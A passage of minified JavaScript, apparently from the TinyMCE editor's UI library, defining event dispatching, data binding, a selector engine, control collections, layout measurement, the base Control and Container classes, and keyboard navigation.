o,s,l,u;if(e=e.toLowerCase(),i=i||{},i.type=e,i.target||(i.target=c),i.preventDefault||(i.preventDefault=function(){i.isDefaultPrevented=r},i.stopPropagation=function(){i.isPropagationStopped=r},i.stopImmediatePropagation=function(){i.isImmediatePropagationStopped=r},i.isDefaultPrevented=n,i.isPropagationStopped=n,i.isImmediatePropagationStopped=n),t.beforeFire&&t.beforeFire(i),o=d[e])for(s=0,l=o.length;s<l;s++){if(u=o[s],u.once&&a(e,u.func),i.isImmediatePropagationStopped())return
i.stopPropagation(),i;if(u.func.call(c,i)===!1)return
i.preventDefault(),i}return i}function o(t,r,i,o){var
a,s,l;if(r===!1&&(r=n),r)for(r={func:r},o&&e.extend(r,o),s=t.toLowerCase().split("
"),l=s.length;l--;)t=s[l],a=d[t],a||(a=d[t]=[],f(t,!0)),i?a.unshift(r):a.push(r);return
u}function a(e,t){var n,r,i,o,a;if(e)for(o=e.toLowerCase().split("
"),n=o.length;n--;){if(e=o[n],r=d[e],!e){for(i in d)f(i,!1),delete
d[i];return
u}if(r){if(t)for(a=r.length;a--;)r[a].func===t&&(r=r.slice(0,a).concat(r.slice(a+1)),d[e]=r);else
r.length=0;r.length||(f(e,!1),delete d[e])}}else{for(e in
d)f(e,!1);d={}}return u}function s(e,t,n){return
o(e,t,n,{once:!0})}function l(e){return
e=e.toLowerCase(),!(!d[e]||0===d[e].length)}var
u=this,c,d={},f;t=t||{},c=t.scope||u,f=t.toggleEvent||n,u.fire=i,u.on=o,u.off=a,u.once=s,u.has=l}var
n=e.makeMap("focus blur focusin focusout click dblclick mousedown
mouseup mousemove mouseover beforepaste paste cut copy selectionchange
mouseout mouseenter mouseleave wheel keydown keypress keyup input
contextmenu dragstart dragend dragover draggesture dragdrop drop drag
submit compositionstart compositionend compositionupdate touchstart
touchmove touchend"," ");return
t.isNative=function(e){return!!n[e.toLowerCase()]},t}),r(fe,[],function(){function
e(e){this.create=e.create}return e.create=function(t,n){return new
e({create:function(e,r){function i(t){e.set(r,t.value)}function
o(e){t.set(n,e.value)}var a;return
e.on("change:"+r,o),t.on("change:"+n,i),a=e._bindings,a||(a=e._bindings=[],e.on("destroy",function(){for(var
e=a.length;e--;)a[e]()})),a.push(function(){t.off("change:"+n,i)}),t.get(n)}})},e}),r(pe,[de],function(e){function
t(t){return t._eventDispatcher||(t._eventDispatcher=new
e({scope:t,toggleEvent:function(n,r){e.isNative(n)&&t.toggleNativeEvent&&t.toggleNativeEvent(n,r)}})),t._eventDispatcher}return{fire:function(e,n,r){var
i=this;if(i.removed&&"remove"!==e)return
n;if(n=t(i).fire(e,n,r),r!==!1&&i.parent)for(var
o=i.parent();o&&!n.isPropagationStopped();)o.fire(e,n,!1),o=o.parent();return
n},on:function(e,n,r){return t(this).on(e,n,r)},off:function(e,n){return
t(this).off(e,n)},once:function(e,n){return
t(this).once(e,n)},hasEventListeners:function(e){return
t(this).has(e)}}}),r(he,[fe,pe,ce,m],function(e,t,n,r){function i(e){return
e.nodeType>0}function o(e,t){var
n,a;if(e===t)return!0;if(null===e||null===t)return
e===t;if("object"!=typeof e||"object"!=typeof t)return
e===t;if(r.isArray(t)){if(e.length!==t.length)return!1;for(n=e.length;n--;)if(!o(e[n],t[n]))return!1}if(i(e)||i(t))return
e===t;a={};for(n in t){if(!o(e[n],t[n]))return!1;a[n]=!0}for(n in
e)if(!a[n]&&!o(e[n],t[n]))return!1;return!0}return
n.extend({Mixins:[t],init:function(t){var n,r;t=t||{};for(n in t)r=t[n],r
instanceof
e&&(t[n]=r.create(this,n));this.data=t},set:function(t,n){var
r,i,a=this.data[t];if(n instanceof
e&&(n=n.create(this,t)),"object"==typeof t){for(r in
t)this.set(r,t[r]);return this}return
o(a,n)||(this.data[t]=n,i={target:this,name:t,value:n,oldValue:a},this.fire("change:"+t,i),this.fire("change",i)),this},get:function(e){return
this.data[e]},has:function(e){return e in
this.data},bind:function(t){return
e.create(this,t)},destroy:function(){this.fire("destroy")}})}),r(me,[ce],function(e){function
t(e){for(var
t=[],n=e.length,r;n--;)r=e[n],r.__checked||(t.push(r),r.__checked=1);for(n=t.length;n--;)delete
t[n].__checked;return t}var
n=/^([\w\\*]+)?(?:#([\w\-\\]+))?(?:\.([\w\\\.]+))?(?:\[\@?([\w\\]+)([\^\$\*!~]?=)([\w\\]+)\])?(?:\:(.+))?/i,r=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^
>+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,i=/^\s*|\s*$/g,o,a=e.extend({init:function(e){function
t(e){if(e)return
e=e.toLowerCase(),function(t){return"*"===e||t.type===e}}function
o(e){if(e)return function(t){return t._name===e}}function a(e){if(e)return
e=e.split("."),function(t){for(var
n=e.length;n--;)if(!t.classes.contains(e[n]))return!1;return!0}}function
s(e,t,n){if(e)return function(r){var i=r[e]?r[e]():"";return
t?"="===t?i===n:"*="===t?i.indexOf(n)>=0:"~="===t?("
"+i+" ").indexOf(" "+n+"
")>=0:"!="===t?i!=n:"^="===t?0===i.indexOf(n):"$="===t&&i.substr(i.length-n.length)===n:!!n}}function
l(e){var t;if(e)return
e=/(?:not\((.+)\))|(.+)/i.exec(e),e[1]?(t=c(e[1],[]),function(e){return!d(e,t)}):(e=e[2],function(t,n,r){return"first"===e?0===n:"last"===e?n===r-1:"even"===e?n%2===0:"odd"===e?n%2===1:!!t[e]&&t[e]()})}function
u(e,r,u){function c(e){e&&r.push(e)}var d;return
d=n.exec(e.replace(i,"")),c(t(d[1])),c(o(d[2])),c(a(d[3])),c(s(d[4],d[5],d[6])),c(l(d[7])),r.pseudo=!!d[7],r.direct=u,r}function
c(e,t){var n=[],i,o,a;do
if(r.exec(""),o=r.exec(e),o&&(e=o[3],n.push(o[1]),o[2])){i=o[3];break}while(o);for(i&&c(i,t),e=[],a=0;a<n.length;a++)">"!=n[a]&&e.push(u(n[a],[],">"===n[a-1]));return
t.push(e),t}var
d=this.match;this._selectors=c(e,[])},match:function(e,t){var
n,r,i,o,a,s,l,u,c,d,f,p,h;for(t=t||this._selectors,n=0,r=t.length;n<r;n++){for(a=t[n],o=a.length,h=e,p=0,i=o-1;i>=0;i--)for(u=a[i];h;){if(u.pseudo)for(f=h.parent().items(),c=d=f.length;c--&&f[c]!==h;);for(s=0,l=u.length;s<l;s++)if(!u[s](h,c,d)){s=l+1;break}if(s===l){p++;break}if(i===o-1)break;h=h.parent()}if(p===o)return!0}return!1},find:function(e){function
n(e,t,i){var
o,a,s,l,u,c=t[i];for(o=0,a=e.length;o<a;o++){for(u=e[o],s=0,l=c.length;s<l;s++)if(!c[s](u,o,a)){s=l+1;break}if(s===l)i==t.length-1?r.push(u):u.items&&n(u.items(),t,i+1);else
if(c.direct)return;u.items&&n(u.items(),t,i)}}var
r=[],i,s,l=this._selectors;if(e.items){for(i=0,s=l.length;i<s;i++)n(e.items(),l[i],0);s>1&&(r=t(r))}return
o||(o=a.Collection),new o(r)}});return
a}),r(ge,[m,me,ce],function(e,t,n){var
r,i,o=Array.prototype.push,a=Array.prototype.slice;return
i={length:0,init:function(e){e&&this.add(e)},add:function(t){var
n=this;return e.isArray(t)?o.apply(n,t):t instanceof
r?n.add(t.toArray()):o.call(n,t),n},set:function(e){var
t=this,n=t.length,r;for(t.length=0,t.add(e),r=t.length;r<n;r++)delete
t[r];return t},filter:function(e){var
n=this,i,o,a=[],s,l;for("string"==typeof e?(e=new
t(e),l=function(t){return
e.match(t)}):l=e,i=0,o=n.length;i<o;i++)s=n[i],l(s)&&a.push(s);return
new r(a)},slice:function(){return new
r(a.apply(this,arguments))},eq:function(e){return
e===-1?this.slice(e):this.slice(e,+e+1)},each:function(t){return
e.each(this,t),this},toArray:function(){return
e.toArray(this)},indexOf:function(e){for(var
t=this,n=t.length;n--&&t[n]!==e;);return
n},reverse:function(){return new
r(e.toArray(this).reverse())},hasClass:function(e){return!!this[0]&&this[0].classes.contains(e)},prop:function(e,t){var
n=this,r,i;return
t!==r?(n.each(function(n){n[e]&&n[e](t)}),n):(i=n[0],i&&i[e]?i[e]():void
0)},exec:function(t){var n=this,r=e.toArray(arguments).slice(1);return
n.each(function(e){e[t]&&e[t].apply(e,r)}),n},remove:function(){for(var
e=this.length;e--;)this[e].remove();return
this},addClass:function(e){return
this.each(function(t){t.classes.add(e)})},removeClass:function(e){return
this.each(function(t){t.classes.remove(e)})}},e.each("fire on off show
hide append prepend before after reflow".split("
"),function(t){i[t]=function(){var n=e.toArray(arguments);return
this.each(function(e){t in
e&&e[t].apply(e,n)}),this}}),e.each("text name disabled active
selected checked visible parent value data".split("
"),function(e){i[e]=function(t){return
this.prop(e,t)}}),r=n.extend(i),t.Collection=r,r}),r(ve,[d,m,w],function(e,t,n){var
r=0,i={id:function(){return"mceu_"+r++},create:function(e,r,i){var
o=document.createElement(e);return
n.DOM.setAttribs(o,r),"string"==typeof
i?o.innerHTML=i:t.each(i,function(e){e.nodeType&&o.appendChild(e)}),o},createFragment:function(e){return
n.DOM.createFragment(e)},getWindowSize:function(){return
n.DOM.getViewPort()},getSize:function(e){var
t,n;if(e.getBoundingClientRect){var
r=e.getBoundingClientRect();t=Math.max(r.width||r.right-r.left,e.offsetWidth),n=Math.max(r.height||r.bottom-r.bottom,e.offsetHeight)}else
t=e.offsetWidth,n=e.offsetHeight;return{width:t,height:n}},getPos:function(e,t){return
n.DOM.getPos(e,t||i.getContainer())},getContainer:function(){return
e.container?e.container:document.body},getViewPort:function(e){return
n.DOM.getViewPort(e)},get:function(e){return
document.getElementById(e)},addClass:function(e,t){
return n.DOM.addClass(e,t)},removeClass:function(e,t){return
n.DOM.removeClass(e,t)},hasClass:function(e,t){return
n.DOM.hasClass(e,t)},toggleClass:function(e,t,r){return
n.DOM.toggleClass(e,t,r)},css:function(e,t,r){return
n.DOM.setStyle(e,t,r)},getRuntimeStyle:function(e,t){return
n.DOM.getStyle(e,t,!0)},on:function(e,t,r,i){return
n.DOM.bind(e,t,r,i)},off:function(e,t,r){return
n.DOM.unbind(e,t,r)},fire:function(e,t,r){return
n.DOM.fire(e,t,r)},innerHtml:function(e,t){n.DOM.setHTML(e,t)}};return
i}),r(ye,[],function(){return{parseBox:function(e){var
t,n=10;if(e)return"number"==typeof
e?(e=e||0,{top:e,left:e,bottom:e,right:e}):(e=e.split("
"),t=e.length,1===t?e[1]=e[2]=e[3]=e[0]:2===t?(e[2]=e[0],e[3]=e[1]):3===t&&(e[3]=e[1]),{top:parseInt(e[0],n)||0,right:parseInt(e[1],n)||0,bottom:parseInt(e[2],n)||0,left:parseInt(e[3],n)||0})},measureBox:function(e,t){function
n(t){var n=document.defaultView;return
n?(t=t.replace(/[A-Z]/g,function(e){return"-"+e}),n.getComputedStyle(e,null).getPropertyValue(t)):e.currentStyle[t]}function
r(e){var t=parseFloat(n(e),10);return
isNaN(t)?0:t}return{top:r(t+"TopWidth"),right:r(t+"RightWidth"),bottom:r(t+"BottomWidth"),left:r(t+"LeftWidth")}}}}),r(be,[m],function(e){function
t(){}function
n(e){this.cls=[],this.cls._map={},this.onchange=e||t,this.prefix=""}return
e.extend(n.prototype,{add:function(e){return
e&&!this.contains(e)&&(this.cls._map[e]=!0,this.cls.push(e),this._change()),this},remove:function(e){if(this.contains(e)){for(var
t=0;t<this.cls.length&&this.cls[t]!==e;t++);this.cls.splice(t,1),delete
this.cls._map[e],this._change()}return this},toggle:function(e,t){var
n=this.contains(e);return
n!==t&&(n?this.remove(e):this.add(e),this._change()),this},contains:function(e){return!!this.cls._map[e]},_change:function(){delete
this.clsValue,this.onchange.call(this)}}),n.prototype.toString=function(){var
e;if(this.clsValue)return this.clsValue;e="";for(var
t=0;t<this.cls.length;t++)t>0&&(e+="
"),e+=this.prefix+this.cls[t];return e},n}),r(Ce,[c],function(e){var
t={},n;return{add:function(r){var
i=r.parent();if(i){if(!i._layout||i._layout.isNative())return;t[i._id]||(t[i._id]=i),n||(n=!0,e.requestAnimationFrame(function(){var
e,r;n=!1;for(e in
t)r=t[e],r.state.get("rendered")&&r.reflow();t={}},document.body))}},remove:function(e){t[e._id]&&delete
t[e._id]}}}),r(xe,[ce,m,de,he,ge,ve,g,ye,be,Ce],function(e,t,n,r,i,o,a,s,l,u){function
c(e){return e._eventDispatcher||(e._eventDispatcher=new
n({scope:e,toggleEvent:function(t,r){r&&n.isNative(t)&&(e._nativeEvents||(e._nativeEvents={}),e._nativeEvents[t]=!0,e.state.get("rendered")&&d(e))}})),e._eventDispatcher}function
d(e){function t(t){var
n=e.getParentCtrl(t.target);n&&n.fire(t.type,t)}function n(){var
e=u._lastHoverCtrl;e&&(e.fire("mouseleave",{target:e.getEl()}),e.parents().each(function(e){e.fire("mouseleave",{target:e.getEl()})}),u._lastHoverCtrl=null)}function
r(t){var
n=e.getParentCtrl(t.target),r=u._lastHoverCtrl,i=0,o,a,s;if(n!==r){if(u._lastHoverCtrl=n,a=n.parents().toArray().reverse(),a.push(n),r){for(s=r.parents().toArray().reverse(),s.push(r),i=0;i<s.length&&a[i]===s[i];i++);for(o=s.length-1;o>=i;o--)r=s[o],r.fire("mouseleave",{target:r.getEl()})}for(o=i;o<a.length;o++)n=a[o],n.fire("mouseenter",{target:n.getEl()})}}function
i(t){t.preventDefault(),"mousewheel"==t.type?(t.deltaY=-.025*t.wheelDelta,t.wheelDeltaX&&(t.deltaX=-.025*t.wheelDeltaX)):(t.deltaX=0,t.deltaY=t.detail),t=e.fire("wheel",t)}var
o,s,l,u,c,d;if(c=e._nativeEvents){for(l=e.parents().toArray(),l.unshift(e),o=0,s=l.length;!u&&o<s;o++)u=l[o]._eventsRoot;for(u||(u=l[l.length-1]||e),e._eventsRoot=u,s=o,o=0;o<s;o++)l[o]._eventsRoot=u;var
h=u._delegates;h||(h=u._delegates={});for(d in
c){if(!c)return!1;"wheel"!==d||p?("mouseenter"===d||"mouseleave"===d?u._hasMouseEnter||(a(u.getEl()).on("mouseleave",n).on("mouseover",r),u._hasMouseEnter=1):h[d]||(a(u.getEl()).on(d,t),h[d]=!0),c[d]=!1):f?a(e.getEl()).on("mousewheel",i):a(e.getEl()).on("DOMMouseScroll",i)}}}var
f="onmousewheel"in
document,p=!1,h="mce-",m,g=0,v={Statics:{classPrefix:h},isRtl:function(){return
m.rtl},classPrefix:h,init:function(e){function n(e){var
t;for(e=e.split("
"),t=0;t<e.length;t++)i.classes.add(e[t])}var
i=this,o,u;i.settings=e=t.extend({},i.Defaults,e),i._id=e.id||"mceu_"+g++,i._aria={role:e.role},i._elmCache={},i.$=a,i.state=new
r({visible:!0,active:!1,disabled:!1,value:""}),i.data=new
r(e.data),i.classes=new
l(function(){i.state.get("rendered")&&(i.getEl().className=this.toString())}),i.classes.prefix=i.classPrefix,o=e.classes,o&&(i.Defaults&&(u=i.Defaults.classes,u&&o!=u&&n(u)),n(o)),t.each("title
text name visible disabled active value".split("
"),function(t){t in
e&&i[t](e[t])}),i.on("click",function(){if(i.disabled())return!1}),i.settings=e,i.borderBox=s.parseBox(e.border),i.paddingBox=s.parseBox(e.padding),i.marginBox=s.parseBox(e.margin),e.hidden&&i.hide()},Properties:"parent,name",getContainerElm:function(){return
o.getContainer()},getParentCtrl:function(e){for(var
t,n=this.getRoot().controlIdLookup;e&&n&&!(t=n[e.id]);)e=e.parentNode;return
t},initLayoutRect:function(){var
e=this,t=e.settings,n,r,i=e.getEl(),a,l,u,c,d,f,p,h;n=e.borderBox=e.borderBox||s.measureBox(i,"border"),e.paddingBox=e.paddingBox||s.measureBox(i,"padding"),e.marginBox=e.marginBox||s.measureBox(i,"margin"),h=o.getSize(i),f=t.minWidth,p=t.minHeight,u=f||h.width,c=p||h.height,a=t.width,l=t.height,d=t.autoResize,d="undefined"!=typeof
d?d:!a&&!l,a=a||u,l=l||c;var
m=n.left+n.right,g=n.top+n.bottom,v=t.maxWidth||65535,y=t.maxHeight||65535;return
e._layoutRect=r={x:t.x||0,y:t.y||0,w:a,h:l,deltaW:m,deltaH:g,contentW:a-m,contentH:l-g,innerW:a-m,innerH:l-g,startMinWidth:f||0,startMinHeight:p||0,minW:Math.min(u,v),minH:Math.min(c,y),maxW:v,maxH:y,autoResize:d,scrollW:0},e._lastLayoutRect={},r},layoutRect:function(e){var
t=this,n=t._layoutRect,r,i,o,a,s,l;return
n||(n=t.initLayoutRect()),e?(o=n.deltaW,a=n.deltaH,e.x!==s&&(n.x=e.x),e.y!==s&&(n.y=e.y),e.minW!==s&&(n.minW=e.minW),e.minH!==s&&(n.minH=e.minH),i=e.w,i!==s&&(i=i<n.minW?n.minW:i,i=i>n.maxW?n.maxW:i,n.w=i,n.innerW=i-o),i=e.h,i!==s&&(i=i<n.minH?n.minH:i,i=i>n.maxH?n.maxH:i,n.h=i,n.innerH=i-a),i=e.innerW,i!==s&&(i=i<n.minW-o?n.minW-o:i,i=i>n.maxW-o?n.maxW-o:i,n.innerW=i,n.w=i+o),i=e.innerH,i!==s&&(i=i<n.minH-a?n.minH-a:i,i=i>n.maxH-a?n.maxH-a:i,n.innerH=i,n.h=i+a),e.contentW!==s&&(n.contentW=e.contentW),e.contentH!==s&&(n.contentH=e.contentH),r=t._lastLayoutRect,r.x===n.x&&r.y===n.y&&r.w===n.w&&r.h===n.h||(l=m.repaintControls,l&&l.map&&!l.map[t._id]&&(l.push(t),l.map[t._id]=!0),r.x=n.x,r.y=n.y,r.w=n.w,r.h=n.h),t):n},repaint:function(){var
e=this,t,n,r,i,o,a,s,l,u,c;u=document.createRange?function(e){return
e}:Math.round,t=e.getEl().style,i=e._layoutRect,l=e._lastRepaintRect||{},o=e.borderBox,a=o.left+o.right,s=o.top+o.bottom,i.x!==l.x&&(t.left=u(i.x)+"px",l.x=i.x),i.y!==l.y&&(t.top=u(i.y)+"px",l.y=i.y),i.w!==l.w&&(c=u(i.w-a),t.width=(c>=0?c:0)+"px",l.w=i.w),i.h!==l.h&&(c=u(i.h-s),t.height=(c>=0?c:0)+"px",l.h=i.h),e._hasBody&&i.innerW!==l.innerW&&(c=u(i.innerW),r=e.getEl("body"),r&&(n=r.style,n.width=(c>=0?c:0)+"px"),l.innerW=i.innerW),e._hasBody&&i.innerH!==l.innerH&&(c=u(i.innerH),r=r||e.getEl("body"),r&&(n=n||r.style,n.height=(c>=0?c:0)+"px"),l.innerH=i.innerH),e._lastRepaintRect=l,e.fire("repaint",{},!1)},updateLayoutRect:function(){var
e=this;e.parent()._lastRect=null,o.css(e.getEl(),{width:"",height:""}),e._layoutRect=e._lastRepaintRect=e._lastLayoutRect=null,e.initLayoutRect()},on:function(e,t){function
n(e){var t,n;return"string"!=typeof e?e:function(i){return
t||r.parentsAndSelf().each(function(r){var
i=r.settings.callbacks;if(i&&(t=i[e]))return
n=r,!1}),t?t.call(n,i):(i.action=e,void
this.fire("execute",i))}}var r=this;return
c(r).on(e,n(t)),r},off:function(e,t){return
c(this).off(e,t),this},fire:function(e,t,n){var
r=this;if(t=t||{},t.control||(t.control=r),t=c(r).fire(e,t),n!==!1&&r.parent)for(var
i=r.parent();i&&!t.isPropagationStopped();)i.fire(e,t,!1),i=i.parent();return
t},hasEventListeners:function(e){return
c(this).has(e)},parents:function(e){var t=this,n,r=new
i;for(n=t.parent();n;n=n.parent())r.add(n);return
e&&(r=r.filter(e)),r},parentsAndSelf:function(e){return new
i(this).add(this.parents(e))},next:function(){var
e=this.parent().items();return e[e.indexOf(this)+1]},prev:function(){var
e=this.parent().items();return
e[e.indexOf(this)-1]},innerHtml:function(e){return
this.$el.html(e),this},getEl:function(e){var
t=e?this._id+"-"+e:this._id;return
this._elmCache[t]||(this._elmCache[t]=a("#"+t)[0]),this._elmCache[t]},show:function(){return
this.visible(!0)},hide:function(){return
this.visible(!1)},focus:function(){try{this.getEl().focus()}catch(e){}return
this},blur:function(){return
this.getEl().blur(),this},aria:function(e,t){var
n=this,r=n.getEl(n.ariaTarget);return"undefined"==typeof
t?n._aria[e]:(n._aria[e]=t,n.state.get("rendered")&&r.setAttribute("role"==e?e:"aria-"+e,t),n)},encode:function(e,t){return
t!==!1&&(e=this.translate(e)),(e||"").replace(/[&<>"]/g,function(e){return"&#"+e.charCodeAt(0)+";"})},translate:function(e){return
m.translate?m.translate(e):e},before:function(e){var
t=this,n=t.parent();return
n&&n.insert(e,n.items().indexOf(t),!0),t},after:function(e){var
t=this,n=t.parent();return
n&&n.insert(e,n.items().indexOf(t)),t},remove:function(){var
e=this,t=e.getEl(),n=e.parent(),r,i;if(e.items){var
o=e.items().toArray();for(i=o.length;i--;)o[i].remove()}n&&n.items&&(r=[],n.items().each(function(t){t!==e&&r.push(t)}),n.items().set(r),n._lastRect=null),e._eventsRoot&&e._eventsRoot==e&&a(t).off();var
s=e.getRoot().controlIdLookup;return s&&delete
s[e._id],t&&t.parentNode&&t.parentNode.removeChild(t),e.state.set("rendered",!1),e.state.destroy(),e.fire("remove"),e},renderBefore:function(e){return
a(e).before(this.renderHtml()),this.postRender(),this},renderTo:function(e){return
a(e||this.getContainerElm()).append(this.renderHtml()),this.postRender(),this},preRender:function(){},render:function(){},renderHtml:function(){return'<div
id="'+this._id+'"
class="'+this.classes+'"></div>'},postRender:function(){var
e=this,t=e.settings,n,r,i,o,s;e.$el=a(e.getEl()),e.state.set("rendered",!0);for(o
in
t)0===o.indexOf("on")&&e.on(o.substr(2),t[o]);if(e._eventsRoot){for(i=e.parent();!s&&i;i=i.parent())s=i._eventsRoot;if(s)for(o
in
s._nativeEvents)e._nativeEvents[o]=!0}d(e),t.style&&(n=e.getEl(),n&&(n.setAttribute("style",t.style),n.style.cssText=t.style)),e.settings.border&&(r=e.borderBox,e.$el.css({"border-top-width":r.top,"border-right-width":r.right,"border-bottom-width":r.bottom,"border-left-width":r.left}));var
l=e.getRoot();l.controlIdLookup||(l.controlIdLookup={}),l.controlIdLookup[e._id]=e;for(var
c in
e._aria)e.aria(c,e._aria[c]);e.state.get("visible")===!1&&(e.getEl().style.display="none"),e.bindStates(),e.state.on("change:visible",function(t){var
n=t.value,r;e.state.get("rendered")&&(e.getEl().style.display=n===!1?"none":"",e.getEl().getBoundingClientRect()),r=e.parent(),r&&(r._lastRect=null),e.fire(n?"show":"hide"),u.add(e)}),e.fire("postrender",{},!1)},bindStates:function(){},scrollIntoView:function(e){function
t(e,t){var
n,r,i=e;for(n=r=0;i&&i!=t&&i.nodeType;)n+=i.offsetLeft||0,r+=i.offsetTop||0,i=i.offsetParent;return{x:n,y:r}}var
n=this.getEl(),r=n.parentNode,i,o,a,s,l,u,c=t(n,r);return
i=c.x,o=c.y,a=n.offsetWidth,s=n.offsetHeight,l=r.clientWidth,u=r.clientHeight,"end"==e?(i-=l-a,o-=u-s):"center"==e&&(i-=l/2-a/2,o-=u/2-s/2),r.scrollLeft=i,r.scrollTop=o,this},getRoot:function(){for(var
e=this,t,n=[];e;){if(e.rootControl){t=e.rootControl;break}n.push(e),t=e,e=e.parent()}t||(t=this);for(var
r=n.length;r--;)n[r].rootControl=t;return
t},reflow:function(){u.remove(this);var e=this.parent();return
e._layout&&!e._layout.isNative()&&e.reflow(),this}};return
t.each("text title visible disabled active value".split("
"),function(e){v[e]=function(t){return
0===arguments.length?this.state.get(e):("undefined"!=typeof
t&&this.state.set(e,t),this)}}),m=e.extend(v)}),r(we,[],function(){var
e={},t;return{add:function(t,n){e[t.toLowerCase()]=n},has:function(t){return!!e[t.toLowerCase()]},create:function(n,r){var
i,o,a;if(!t){a=tinymce.ui;for(o in
a)e[o.toLowerCase()]=a[o];t=!0}if("string"==typeof
n?(r=r||{},r.type=n):(r=n,n=r.type),n=n.toLowerCase(),i=e[n],!i)throw new
Error("Could not find control by type: "+n);return i=new
i(r),i.type=n,i}}}),r(Ee,[],function(){return function(e){function
t(e){return e&&1===e.nodeType}function n(e){return
e=e||C,t(e)?e.getAttribute("role"):null}function r(e){for(var
t,r=e||C;r=r.parentNode;)if(t=n(r))return t}function i(e){var
n=C;if(t(n))return n.getAttribute("aria-"+e)}function o(e){var
t=e.tagName.toUpperCase();return"INPUT"==t||"TEXTAREA"==t||"SELECT"==t}function
a(e){return!(!o(e)||e.hidden)||!!/^(button|menuitem|checkbox|tab|menuitemcheckbox|option|gridcell|slider)$/.test(n(e))}function
s(e){function
t(e){if(1==e.nodeType&&"none"!=e.style.display&&!e.disabled){a(e)&&n.push(e);for(var
r=0;r<e.childNodes.length;r++)t(e.childNodes[r])}}var n=[];return
t(e||b.getEl()),n}function l(e){var
t,n;e=e||x,n=e.parents().toArray(),n.unshift(e);for(var
r=0;r<n.length&&(t=n[r],!t.settings.ariaRoot);r++);return
t}function u(e){var
t=l(e),n=s(t.getEl());t.settings.ariaRemember&&"lastAriaIndex"in
t?c(t.lastAriaIndex,n):c(0,n)}function c(e,t){return
e<0?e=t.length-1:e>=t.length&&(e=0),t[e]&&t[e].focus(),e}function
d(e,t){var n=-1,r=l();t=t||s(r.getEl());for(var
i=0;i<t.length;i++)t[i]===C&&(n=i);n+=e,r.lastAriaIndex=c(n,t)}function
f(){var
e=r();"tablist"==e?d(-1,s(C.parentNode)):x.parent().submenu?v():d(-1)}function
p(){var
e=n(),t=r();"tablist"==t?d(1,s(C.parentNode)):"menuitem"==e&&"menu"==t&&i("haspopup")?y():d(1)}function
h(){d(-1)}function m(){var
e=n(),t=r();"menuitem"==e&&"menubar"==t?y():"button"==e&&i("haspopup")?y({key:"down"}):d(1)}function
g(e){var t=r();if("tablist"==t){var
n=s(x.getEl("body"))[0];n&&n.focus()}else
d(e.shiftKey?-1:1)}function v(){x.fire("cancel")}function
y(e){e=e||{},x.fire("click",{target:C,aria:e})}var
b=e.root,C,x;try{C=document.activeElement}catch(w){C=document.body}return
x=b.getParentCtrl(C),b.on("keydown",function(e){function
t(e,t){o(C)||"slider"!==n(C)&&t(e)!==!1&&e.preventDefault()}if(!e.isDefaultPrevented())switch(e.keyCode){case
37:t(e,f);break;case 39:t(e,p);break;case 38:t(e,h);break;case
40:t(e,m);break;case 27:v();break;case 14:case 13:case 32:t(e,y);break;case
9:g(e)!==!1&&e.preventDefault()}}),b.on("focusin",function(e){C=e.target,x=e.control}),{focusFirst:u}}}),r(Ne,[xe,ge,me,we,Ee,m,g,be,Ce],function(e,t,n,r,i,o,a,s,l){var
u={};return e.extend({init:function(e){var
n=this;n._super(e),e=n.settings,e.fixed&&n.state.set("fixed",!0),n._items=new
t,n.isRtl()&&n.classes.add("rtl"),n.bodyClasses=new
s(function(){n.state.get("rendered")&&(n.getEl("body").className=this.toString())}),n.bodyClasses.prefix=n.classPrefix,n.classes.add("container"),n.bodyClasses.add("container-body"),e.containerCls&&n.classes.add(e.containerCls),n._layout=r.create((e.layout||"")+"layout"),n.settings.items?n.add(n.settings.items):n.add(n.render()),n._hasBody=!0},items:function(){return
this._items},find:function(e){return e=u[e]=u[e]||new
n(e),e.find(this)},add:function(e){var t=this;return
t.items().add(t.create(e)).parent(t),t},focus:function(e){var
t=this,n,r,i;return
e&&(r=t.keyboardNav||t.parents().eq(-1)[0].keyboardNav)?void
r.focusFirst(t):(i=t.find("*"),t.statusbar&&i.add(t.statusbar.items()),i.each(function(e){return
e.settings.autofocus?(n=null,!1):void(e.canFocus&&(n=n||e))}),n&&n.focus(),t)},replace:function(e,t){for(var
n,r=this.items(),i=r.length;i--;)if(r[i]===e){r[i]=t;break}i>=0&&(n=t.getEl(),n&&n.parentNode.removeChild(n),n=e.getEl(),n&&n.parentNode.removeChild(n)),t.parent(this)},create:function(t){var
n=this,i,a=[];return
o.isArray(t)||(t=[t]),o.each(t,function(t){t&&(t instanceof
e||("string"==typeof
t&&(t={type:t}),i=o.extend({},n.settings.defaults,t),t.type=i.type=i.type||t.type||n.settings.defaultType||(i.defaults?i.defaults.type:null),t=r.create(i)),a.push(t))}),a},renderNew:function(){var
e=this;return e.items().each(function(t,n){var
r;t.parent(e),t.state.get("rendered")||(r=e.getEl("body"),r.hasChildNodes()&&n<=r.childNodes.length-1?a(r.childNodes[n]).before(t.renderHtml()):a(r).append(t.renderHtml()),t.postRender(),l.add(t))}),e._layout.applyClasses(e.items().filter(":visible")),e._lastRect=null,e},append:function(e){return
this.add(e).renderNew()},prepend:function(e){var t=this;return
t.items().set(t.create(e).concat(t.items().toArray())),t.renderNew()},insert:function(e,t,n){var
r=this,i,o,a;return
e=r.create(e),i=r.items(),!n&&t<i.length-1&&(t+=1),t>=0&&t<i.length&&(o=i.slice(0,t).toArray(),a=i.slice(t).toArray(),i.set(o.concat(e,a))),r.renderNew()},fromJSON:function(e){var
t=this;for(var n in e)t.find("#"+n).value(e[n]);return
t},toJSON:function(){var e=this,t={};return
e.find("*").each(function(e){var
n=e.name(),r=e.value();n&&"undefined"!=typeof
r&&(t[n]=r)}),t},renderHtml:function(){var
e=this,t=e._layout,n=this.settings.role;return
e.preRender(),t.preRender(e),'<div
id="'+e._id+'"
class="'+e.classes+'"'+(n?'
role="'+this.settings.role+'"':"")+'><div
id="'+e._id+'-body"
class="'+e.bodyClasses+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"},postRender:function(){var
e=this,t;return
e.items().exec("postRender"),e._super(),e._layout.postRender(e),e.state.set("rendered",!0),e.settings.style&&e.$el.css(e.settings.style),e.settings.border&&(t=e.borderBox,e.$el.css({"border-top-width":t.top,"border-right-width":t.right,"border-bottom-width":t.bottom,"border-left-width":t.left})),e.parent()||(e.keyboardNav=new
i({root:e})),e},initLayoutRect:function(){var e=this,t=e._super();return
e._layout.recalc(e),t},recalc:function(){var
e=this,t=e._layoutRect,n=e._lastRect;if(!n||n.w!=t.w||n.h!=t.h)return
